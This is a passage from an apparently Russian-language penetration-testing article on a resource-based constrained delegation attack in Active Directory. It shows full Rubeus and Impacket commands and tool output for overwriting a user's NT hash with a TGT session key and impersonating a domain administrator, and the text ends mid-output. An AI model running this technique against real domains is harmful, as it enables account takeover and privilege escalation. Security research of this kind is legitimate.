\u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u043e\u043b\u0433\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 (NT-\u0445\u0435\u0448\u0430) \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>AngaraUser<\/code>. \u041d\u043e \u044d\u0442\u043e\u0442 \u0431\u0438\u043b\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d <u>\u043d\u0430 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u043c \u043a\u043b\u044e\u0447\u0435, \u0430 \u043d\u0435 \u043d\u0430 \u0434\u043e\u043b\u0433\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c<\/u>! \u0427\u0442\u043e \u0435\u0441\u043b\u0438 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e <code>AngaraUser<\/code> \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u0440\u0430\u0442\u043a\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0435\u0433\u043e TGT? \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, KDC \u043f\u043e\u0439\u0434\u0435\u0442 \u0432 NTDS, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u0442 NT-\u0445\u0435\u0448 <code>AngaraUser<\/code> (\u0443\u0436\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u0441 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0431\u0438\u043b\u0435\u0442\u0430 TGT) \u0438 \u0441\u0443\u043c\u0435\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0438\u043a\u0435\u0442? \u0421\u043f\u043e\u0439\u043b\u0435\u0440: <strong>\u0434\u0430<\/strong>.<\/p>\n<p>\u041a\u0430\u043a \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c NT-\u0445\u0435\u0448 \u043f\u0430\u0440\u043e\u043b\u044f <code>AngaraUser<\/code>, \u0430 \u043d\u0435 \u0441\u0430\u043c\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044f? \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0441\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/github.com\/vletoux\/NTLMInjector\/blob\/master\/NTLMInjector.ps1\">NTLMInjector.ps1<\/a> \u043d\u0430 Python \u0434\u043b\u044f Impacket (\u0441\u043c. <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/smbpasswd.py\">smbpasswd.py<\/a>), \u0433\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432\u044b\u0437\u043e\u0432 \u043c\u0430\u043b\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-samr\/538222f7-1b89-4811-949a-0eac62e38dce\">SamrSetInformationUser<\/a>, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0435\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 <code>SamrSetInformationUser.Buffer<\/code>. \u0412\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043f\u0430\u0440\u0443 LM:NT \u0445\u0435\u0448\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<details class=\"spoiler\">\n<summary>\u042d\u0442\u0438\u0447\u043d\u043e \u043b\u0438 \u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u00ab\u0431\u043e\u0435\u0432\u043e\u0439\u00bb \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0435?<\/summary>\n<div class=\"spoiler__content\">\n<p>\u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u043d\u0435\u0442. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Password Spraying (<a href=\"https:\/\/attack.mitre.org\/techniques\/T1110\/003\/\">T1110.003<\/a>) \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c <s>\u0411\u043e\u0433\u043e\u043c<\/s> \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c \u0437\u0430\u0431\u044b\u0442\u044b\u0435 \u0443\u0447\u0435\u0442\u043a\u0438, \u043f\u0430\u0440\u043e\u043b\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0441\u0440\u043e\u0447\u0435\u043d\u044b. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0438 \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438 \u0447\u0442\u043e \u0441\u043c\u0435\u043d\u0430 \u0438\u0445 \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0435 \u043f\u0440\u0438\u043d\u0435\u0441\u0435\u0442 \u0432\u0440\u0435\u0434\u0430 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \/ \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. <strong>\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f<\/strong> \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0432\u0435\u0434\u044c \u0443 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u044d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 ?<\/p>\n<\/div>\n<\/details>\n<p>\u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0442\u043e\u0442 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0437\u0430\u043f\u043e\u043c\u043d\u0438\u043b\u0438, \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b \u0434\u043e\u043b\u0433\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>AngaraUser<\/code> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e smbpasswd.py.<\/p>\n<blockquote>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u2116 1:<\/strong> \u0432 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u043a\u0440\u0435\u0434\u044b \u0434\u043e\u043c\u0435\u043d\u0430\u0434\u043c\u0438\u043d\u0430 \u0434\u043b\u044f \u0438\u043d\u0436\u0435\u043a\u0442\u0430 NTLM-\u0445\u0435\u0448\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435 \u043c\u044b \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0442\u0430\u043a\u0443\u044e \u0441\u043c\u0435\u043d\u0443 \u00ab\u043f\u0430\u0440\u043e\u043b\u044f\u00bb (\u0445\u0435\u0448\u0435\u0439) \u043c\u043e\u0433 \u043f\u0440\u043e\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0441\u0430\u043c \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <code>AngaraUser<\/code>.<\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u2116 2<\/strong>: \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c \u0445\u0435\u0448 \u0423\u0417, \u0438\u0437-\u043f\u043e\u0434 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u0435 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0435\u0430\u043d\u0441\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0435\u0449\u0435 \u0440\u0430\u0437 \u043d\u0430 \u0442\u0430\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b \u0437\u043d\u0430\u0435\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u044c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 (\u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0447\u0442\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f > 0). \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u043f\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c Pass-the-Hash \/ Overpass-the-Hash.<\/p>\n<\/blockquote>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">import binascii, base64 print(binascii.hexlify(base64.b64decode(\"&lt;TGT_SESSION_KEY_B64>\")).decode())<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/299\/a4a\/9cb\/299a4a9cb88b0b7ee57d6d019dab1a7c.png\" alt=\"\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u0445\u0435\u0448\u0438 \u0434\u043b\u044f AngaraUser\" title=\"\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u0445\u0435\u0448\u0438 \u0434\u043b\u044f AngaraUser\" width=\"1390\" height=\"219\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/299\/a4a\/9cb\/299a4a9cb88b0b7ee57d6d019dab1a7c.png\"\/><figcaption>\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u0445\u0435\u0448\u0438 \u0434\u043b\u044f AngaraUser<\/figcaption><\/figure>\n<p>\u0418 \u0442\u0435\u043f\u0435\u0440\u044c \u044f \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 S4U.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">.\\Rubeus.exe asktgs \/u2u \/targetuser:administrator \/ticket:&lt;TGT> \/tgs:&lt;TGS> powershell Enter-PSSession MOSCOW.tinycorp.net<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/764\/c19\/43f\/764c1943fefd3702787d4aa5eef60f62.png\" alt=\"Now we're rocking!\" title=\"Now we're rocking!\" width=\"958\" height=\"1237\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/764\/c19\/43f\/764c1943fefd3702787d4aa5eef60f62.png\"\/><figcaption>Now we&#8217;re rocking!<\/figcaption><\/figure>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u0435, \u043c\u044b \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e RBCD-\u0430\u0442\u0430\u043a\u0443 \u0431\u0435\u0437 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e SPN!<\/p>\n<h3>4. \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f<\/h3>\n<p>\u0412\u0441\u0435 \u044d\u0442\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043a\u0440\u0443\u0442\u043e, \u043d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0430 \u043d\u0435\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430: \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0423\u0417 \u043c\u044b \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u0441 Linux-\u0442\u0430\u0447\u043a\u0438, \u043a\u0443\u0441\u0442\u0430\u0440\u043d\u044b\u043c \u043c\u0435\u0442\u043e\u0434\u043e\u043c, \u0434\u0430 \u0435\u0449\u0435 \u0438 \u0437\u0430\u044e\u0437\u0430\u043b\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b. \u041d\u0430 \u043d\u0430\u0448\u0435 \u0441\u0447\u0430\u0441\u0442\u044c\u0435 \u0440\u044f\u0434\u043e\u043c \u0441\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c NTLMInjector.ps1 \u043b\u0435\u0436\u0438\u0442 <a href=\"https:\/\/github.com\/vletoux\/NTLMInjector\/blob\/master\/SetNTLM.ps1\">SetNTLM.ps1<\/a>, \u0435\u0449\u0435 \u0438 \u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C#. \u041e\u043d \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0423\u0417 \u0441 \u0435\u0435 \u0436\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0437\u043e\u0432 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>SamiChangePasswordUser<\/code>.<\/p>\n<p>\u0412 smbpasswd.py \u0442\u043e\u0436\u0435 <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/3c6713e309cae871d685fa443d3e21b7026a2155\/examples\/smbpasswd.py#L96\">\u0435\u0441\u0442\u044c<\/a> \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0433\u043e API, \u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043c\u043d\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u044d\u0442\u043e \u0434\u0435\u043b\u043e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0445\u0435\u0448 \u043d\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u043b\u0441\u044f \u043a\u0430\u043a <code>STATUS_PASSWORD_EXPIRED<\/code> \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 Impacket. \u042d\u0442\u043e \u0434\u0430\u0436\u0435 \u043a \u043b\u0443\u0447\u0448\u0435\u043c\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u043e \u0434\u043e\u043f\u0438\u043b\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0420\u0443\u0431\u0435\u0443\u0441\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<h4>4.1 Rubeus<\/h4>\n<p>\u041a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0430\u0432\u0442\u043e\u0440 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0435\u0440\u0447\u0430, \u0432 \u0420\u0443\u0431\u0435\u0443\u0441\u0435 \u0443\u0436\u0435 \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438, \u043f\u0440\u043e\u0441\u0442\u043e \u0432 CLI \u043c\u043e\u0434\u0443\u043b\u044f <code>s4u<\/code> \u043d\u0435\u0442 \u043d\u0443\u0436\u043d\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0427\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u00ab\u043f\u0440\u043e\u0442\u0430\u0449\u0438\u0442\u044c\u00bb \u0444\u043b\u0430\u0433 <code>bool u2u = true<\/code> \u0434\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\/blob\/41c95e7385ec6e2aa46fcb354ab3cc94e8d24166\/Rubeus\/lib\/krb_structures\/TGS_REQ.cs#L23\">NewTGSReq<\/a> \u043a\u043b\u0430\u0441\u0441\u0430 <code>Rubeus\/lib\/krb_structures\/TGS_REQ.cs<\/code>, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u043e\u0439 \u0432 <code>Rubeus\/lib\/S4U.cs<\/code>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a98\/c43\/c3b\/a98c43c3b6ef8d1ce3bf602c056f759b.png\" alt=\"Rubeus\/lib\/S4U.cs\" title=\"Rubeus\/lib\/S4U.cs\" width=\"1607\" height=\"1159\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a98\/c43\/c3b\/a98c43c3b6ef8d1ce3bf602c056f759b.png\"\/><figcaption>Rubeus\/lib\/S4U.cs<\/figcaption><\/figure>\n<p>\u041d\u0443 \u0438, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u043f\u043e\u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u043c \u043a\u043e\u0434 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 NTLM-\u0445\u0435\u0448\u0435\u0439 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/489\/f4e\/9e8\/489f4e9e8548f0c1d437292cec261664.png\" alt=\"Rubeus\/lib\/Samr.cs\" title=\"Rubeus\/lib\/Samr.cs\" width=\"1091\" height=\"1191\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/489\/f4e\/9e8\/489f4e9e8548f0c1d437292cec261664.png\"\/><figcaption>Rubeus\/lib\/Samr.cs<\/figcaption><\/figure>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c, \u0438 \u0432\u0443\u0430\u043b\u044f \u2014 \u0443 \u043d\u0430\u0441 \u0433\u043e\u0442\u043e\u0432 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 \u0420\u0443\u0431\u0435\u0443\u0441 \u0441 \u043d\u043e\u0432\u044b\u043c \u0444\u043b\u0430\u0433\u043e\u043c <code>\/u2u<\/code> \u0434\u043b\u044f \u043c\u043e\u0434\u0443\u043b\u044f s4u, \u0443\u043c\u0435\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c S4U-\u0430\u0442\u0430\u043a\u0443 \u0441 \u043f\u043e\u043b\u044c\u0437\u044e\u043a\u043e\u0432\u043e\u0439 \u0443\u0447\u0435\u0442\u043a\u043e\u0439!<\/p>\n<pre><code class=\"powershell\">C:\\Rubeus>Rubeus.exe s4u \/u2u \/domain:TINYCORP.net \/user:AngaraUser \/rc4:1917DF0DA95E9E1E02218BBD1581C481 \/impersonateuser:administrator \/msdsspn:host\/MOSCOW \/altservice:http \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show     ______        _   (_____ \\      | |    _____) )_   _| |__  _____ _   _  ___   |  __  \/| | | |  _ \\| ___ | | | |\/___)   | |  \\ \\| |_| | |_) ) ____| |_| |___ |   |_|   |_|____\/|____\/|_____)____\/(___\/    v2.1.1  [*] Action: S4U  [*] Using rc4_hmac hash: 1917DF0DA95E9E1E02218BBD1581C481 [*] Building AS-REQ (w\/ preauth) for: 'TINYCORP.net\\AngaraUser' [*] Using domain controller: 172.22.0.2:88 [+] TGT request successful! [*] base64(ticket.kirbi):        doIFfjCCBXqgAwIBBaEDAgEWooIEkTCCBI1hggSJMIIEhaADAgEFoQ4bDFRJTllDT1JQLk5FVKIhMB+g                                         ...(snip)...       AwIBAqEYMBYbBmtyYnRndBsMVElOWUNPUlAubmV0   [*] Action: S4U  [*] Building S4U2self request for: 'AngaraUser@TINYCORP.NET' [*] Using domain controller: DC01.TINYCORP.net (172.22.0.2) [*] Sending S4U2self request to 172.22.0.2:88 [+] S4U2self success! [*] Got a TGS for 'administrator' to 'AngaraUser@TINYCORP.NET' [*] base64(ticket.kirbi):        doIFzzCCBcugAwIBBaEDAgEWooIE6TCCBOVhggThMIIE3aADAgEFoQ4bDFRJTllDT1JQLk5FVKIXMBWg                                               ...(snip)...       ODA4MTgwNDA0WqgOGwxUSU5ZQ09SUC5ORVSpFzAVoAMCAQChDjAMGwpBbmdhcmFVc2Vy  [*] Action: Set User NT Hash  [*] Using domain controller: DC01.TINYCORP.net (172.22.0.2) [*] [MS-SAMR] Obtaining handle to domain controller object [*] [MS-SAMR] Obtaining handle to domain object [*] [MS-SAMR] Obtaining handle to user object 'AngaraUser' with RID '2187' [*] [MS-SAMR] Changing NT hash of user 'AngaraUser' to '416BAEF2200565A5CDA32D07DC57654D' [+] NT hash change success!  [*] Impersonating user 'administrator' to target SPN 'host\/MOSCOW' [*]   Final ticket will be for the alternate service 'http' [*] Building S4U2proxy request for service: 'host\/MOSCOW' [*] Using domain controller: DC01.TINYCORP.net (172.22.0.2) [*] Sending S4U2proxy request to domain controller 172.22.0.2:88 [+] S4U2proxy success! [*] Substituting alternative service name 'http' [*] base64(ticket.kirbi) for SPN 'http\/MOSCOW':        doIGdDCCBnCgAwIBBaEDAgEWooIFjDCCBYhhggWEMIIFgKADAgEFoQ4bDFRJTllDT1JQLk5FVKIZMBeg                                               ...(snip)...       WUNPUlAuTkVUqRkwF6ADAgECoRAwDhsEaHR0cBsGTU9TQ09X [*] Showing process : True [*] Username        : U81A0RP5 [*] Domain          : 2LQM6IG2 [*] Password        : DM06UTIW [+] Process         : 'C:\\Windows\\System32\\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID       : 9488 [+] Ticket successfully 